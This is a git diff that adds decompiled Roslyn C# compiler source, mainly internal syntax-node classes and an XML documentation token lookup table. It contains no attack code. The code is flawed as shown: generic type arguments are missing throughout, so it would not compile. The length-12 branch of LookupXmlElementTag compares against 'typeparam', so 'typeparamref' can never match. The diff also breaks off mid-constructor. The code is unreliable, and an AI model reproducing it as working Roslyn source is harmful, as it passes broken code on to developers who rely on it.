DocumentationCommentTriviaSyntax Update(SyntaxList content, SyntaxToken endOfComment) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (content != Content || endOfComment != EndOfComment) + { + DocumentationCommentTriviaSyntax documentationCommentTriviaSyntax = SyntaxFactory.DocumentationCommentTrivia(base.Kind, content, endOfComment); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + documentationCommentTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(documentationCommentTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + documentationCommentTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(documentationCommentTriviaSyntax, (IEnumerable)annotations); + } + return documentationCommentTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DocumentationCommentTriviaSyntax(base.Kind, content, endOfComment, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DocumentationCommentTriviaSyntax(base.Kind, content, endOfComment, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DocumentationCommentTriviaSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + content = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + endOfComment = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)content); + writer.WriteValue((IObjectWritable)(object)endOfComment); + } + + static DocumentationCommentTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DocumentationCommentTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DocumentationCommentTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentXmlTokens.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentXmlTokens.cs new file mode 100644 index 0000000..8126a18 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DocumentationCommentXmlTokens.cs @@ -0,0 +1,164 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal static class DocumentationCommentXmlTokens +{ + private static readonly SyntaxToken s_seeToken = Identifier("see"); + + private static readonly SyntaxToken s_codeToken = Identifier("code"); + + private static readonly SyntaxToken s_listToken = Identifier("list"); + + private static readonly SyntaxToken s_paramToken = Identifier("param"); + + private static readonly SyntaxToken s_valueToken = Identifier("value"); + + private static readonly SyntaxToken s_exampleToken = Identifier("example"); + + private static readonly SyntaxToken s_includeToken = Identifier("include"); + + private static readonly SyntaxToken s_remarksToken = Identifier("remarks"); + + private static readonly SyntaxToken s_seealsoToken = Identifier("seealso"); + + private static readonly SyntaxToken s_summaryToken = Identifier("summary"); + + private static readonly SyntaxToken s_exceptionToken = Identifier("exception"); + + private static readonly SyntaxToken s_typeparamToken = Identifier("typeparam"); + + private static readonly SyntaxToken s_permissionToken = Identifier("permission"); + + private static readonly SyntaxToken s_typeparamrefToken = Identifier("typeparamref"); + + private static readonly SyntaxToken s_crefToken = IdentifierWithLeadingSpace("cref"); + + private static readonly SyntaxToken s_fileToken = IdentifierWithLeadingSpace("file"); + + private static readonly SyntaxToken s_nameToken = IdentifierWithLeadingSpace("name"); + + private static readonly SyntaxToken s_pathToken = IdentifierWithLeadingSpace("path"); + + private static readonly SyntaxToken s_typeToken = IdentifierWithLeadingSpace("type"); + + private static SyntaxToken Identifier(string text) + { + return SyntaxFactory.Identifier(SyntaxKind.None, null, text, text, null); + } + + private static SyntaxToken IdentifierWithLeadingSpace(string text) + { + return SyntaxFactory.Identifier(SyntaxKind.None, (GreenNode)(object)SyntaxFactory.Space, text, text, null); + } + + private static bool IsSingleSpaceTrivia(SyntaxListBuilder syntax) + { + if (syntax.Count == 1) + { + return ((GreenNode)SyntaxFactory.Space).IsEquivalentTo(syntax[0]); + } + return false; + } + + public static SyntaxToken? LookupToken(string text, SyntaxListBuilder? leading) + { + if (leading == null) + { + return LookupXmlElementTag(text); + } + if (IsSingleSpaceTrivia(leading)) + { + return LookupXmlAttribute(text); + } + return null; + } + + private static SyntaxToken? LookupXmlElementTag(string text) + { + switch (text.Length) + { + case 3: + if (text == "see") + { + return s_seeToken; + } + break; + case 4: + if (!(text == "code")) + { + if (!(text == "list")) + { + break; + } + return s_listToken; + } + return s_codeToken; + case 5: + if (!(text == "param")) + { + if (!(text == "value")) + { + break; + } + return s_valueToken; + } + return s_paramToken; + case 7: + switch (text) + { + case "example": + return s_exampleToken; + case "include": + return s_includeToken; + case "remarks": + return s_remarksToken; + case "seealso": + return s_seealsoToken; + case "summary": + return s_summaryToken; + } + break; + case 9: + if (!(text == "exception")) + { + if (!(text == "typeparam")) + { + break; + } + return s_typeparamToken; + } + return s_exceptionToken; + case 10: + if (text == "permission") + { + return s_permissionToken; + } + break; + case 12: + if (text == "typeparam") + { + return s_typeparamrefToken; + } + break; + } + return null; + } + + private static SyntaxToken? LookupXmlAttribute(string text) + { + if (text.Length != 4) + { + return null; + } + return text switch + { + "cref" => s_crefToken, + "file" => s_fileToken, + "name" => s_nameToken, + "path" => s_pathToken, + "type" => s_typeToken, + _ => null, + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElementAccessExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElementAccessExpressionSyntax.cs new file mode 100644 index 0000000..b5e4351 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElementAccessExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ElementAccessExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax expression; + + internal readonly BracketedArgumentListSyntax argumentList; + + public ExpressionSyntax Expression => expression; + + public BracketedArgumentListSyntax ArgumentList => argumentList; + + internal ElementAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, BracketedArgumentListSyntax argumentList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ElementAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, BracketedArgumentListSyntax argumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ElementAccessExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, BracketedArgumentListSyntax argumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => argumentList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ElementAccessExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElementAccessExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElementAccessExpression(this); + } + + public ElementAccessExpressionSyntax Update(ExpressionSyntax expression, BracketedArgumentListSyntax argumentList) + { + if (expression != Expression || argumentList != ArgumentList) + { + ElementAccessExpressionSyntax elementAccessExpressionSyntax = SyntaxFactory.ElementAccessExpression(expression, argumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + elementAccessExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(elementAccessExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + elementAccessExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(elementAccessExpressionSyntax, (IEnumerable)annotations); + } + return elementAccessExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ElementAccessExpressionSyntax(base.Kind, expression, argumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ElementAccessExpressionSyntax(base.Kind, expression, argumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ElementAccessExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + BracketedArgumentListSyntax bracketedArgumentListSyntax = (BracketedArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bracketedArgumentListSyntax); + argumentList = bracketedArgumentListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)argumentList); + } + + static ElementAccessExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ElementAccessExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ElementAccessExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElementBindingExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElementBindingExpressionSyntax.cs new file mode 100644 index 0000000..dee36e7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElementBindingExpressionSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ElementBindingExpressionSyntax : ExpressionSyntax +{ + internal readonly BracketedArgumentListSyntax argumentList; + + public BracketedArgumentListSyntax ArgumentList => argumentList; + + internal ElementBindingExpressionSyntax(SyntaxKind kind, BracketedArgumentListSyntax argumentList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ElementBindingExpressionSyntax(SyntaxKind kind, BracketedArgumentListSyntax argumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal ElementBindingExpressionSyntax(SyntaxKind kind, BracketedArgumentListSyntax argumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)argumentList; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ElementBindingExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElementBindingExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElementBindingExpression(this); + } + + public ElementBindingExpressionSyntax Update(BracketedArgumentListSyntax argumentList) + { + if (argumentList != ArgumentList) + { + ElementBindingExpressionSyntax elementBindingExpressionSyntax = SyntaxFactory.ElementBindingExpression(argumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + elementBindingExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(elementBindingExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + elementBindingExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(elementBindingExpressionSyntax, (IEnumerable)annotations); + } + return elementBindingExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ElementBindingExpressionSyntax(base.Kind, argumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ElementBindingExpressionSyntax(base.Kind, argumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ElementBindingExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + BracketedArgumentListSyntax bracketedArgumentListSyntax = (BracketedArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bracketedArgumentListSyntax); + argumentList = bracketedArgumentListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)argumentList); + } + + static ElementBindingExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ElementBindingExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ElementBindingExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElifDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElifDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..657d610 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElifDirectiveTriviaSyntax.cs @@ -0,0 +1,183 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ElifDirectiveTriviaSyntax : ConditionalDirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken elifKeyword; + + internal readonly ExpressionSyntax condition; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + internal readonly bool branchTaken; + + internal readonly bool conditionValue; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken ElifKeyword => elifKeyword; + + public override ExpressionSyntax Condition => condition; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + public override bool BranchTaken => branchTaken; + + public override bool ConditionValue => conditionValue; + + internal ElifDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken elifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elifKeyword); + this.elifKeyword = elifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + this.conditionValue = conditionValue; + } + + internal ElifDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken elifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elifKeyword); + this.elifKeyword = elifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + this.conditionValue = conditionValue; + } + + internal ElifDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken elifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elifKeyword); + this.elifKeyword = elifKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)condition); + this.condition = condition; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + this.conditionValue = conditionValue; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => elifKeyword, + 2 => condition, + 3 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ElifDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElifDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElifDirectiveTrivia(this); + } + + public ElifDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken elifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + if (hashToken != HashToken || elifKeyword != ElifKeyword || condition != Condition || endOfDirectiveToken != EndOfDirectiveToken) + { + ElifDirectiveTriviaSyntax elifDirectiveTriviaSyntax = SyntaxFactory.ElifDirectiveTrivia(hashToken, elifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + elifDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(elifDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + elifDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(elifDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return elifDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ElifDirectiveTriviaSyntax(base.Kind, hashToken, elifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ElifDirectiveTriviaSyntax(base.Kind, hashToken, elifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ElifDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + elifKeyword = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + condition = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + branchTaken = reader.ReadBoolean(); + conditionValue = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)elifKeyword); + writer.WriteValue((IObjectWritable)(object)condition); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + writer.WriteBoolean(branchTaken); + writer.WriteBoolean(conditionValue); + } + + static ElifDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ElifDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ElifDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElseClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElseClauseSyntax.cs new file mode 100644 index 0000000..b470f66 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElseClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ElseClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken elseKeyword; + + internal readonly StatementSyntax statement; + + public SyntaxToken ElseKeyword => elseKeyword; + + public StatementSyntax Statement => statement; + + internal ElseClauseSyntax(SyntaxKind kind, SyntaxToken elseKeyword, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elseKeyword); + this.elseKeyword = elseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ElseClauseSyntax(SyntaxKind kind, SyntaxToken elseKeyword, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elseKeyword); + this.elseKeyword = elseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal ElseClauseSyntax(SyntaxKind kind, SyntaxToken elseKeyword, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elseKeyword); + this.elseKeyword = elseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => elseKeyword, + 1 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElseClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElseClause(this); + } + + public ElseClauseSyntax Update(SyntaxToken elseKeyword, StatementSyntax statement) + { + if (elseKeyword != ElseKeyword || statement != Statement) + { + ElseClauseSyntax elseClauseSyntax = SyntaxFactory.ElseClause(elseKeyword, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + elseClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(elseClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + elseClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(elseClauseSyntax, (IEnumerable)annotations); + } + return elseClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ElseClauseSyntax(base.Kind, elseKeyword, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ElseClauseSyntax(base.Kind, elseKeyword, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ElseClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + elseKeyword = syntaxToken; + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)elseKeyword); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static ElseClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ElseClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ElseClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElseDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElseDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..eebd00c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ElseDirectiveTriviaSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ElseDirectiveTriviaSyntax : BranchingDirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken elseKeyword; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + internal readonly bool branchTaken; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken ElseKeyword => elseKeyword; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + public override bool BranchTaken => branchTaken; + + internal ElseDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elseKeyword); + this.elseKeyword = elseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + } + + internal ElseDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + 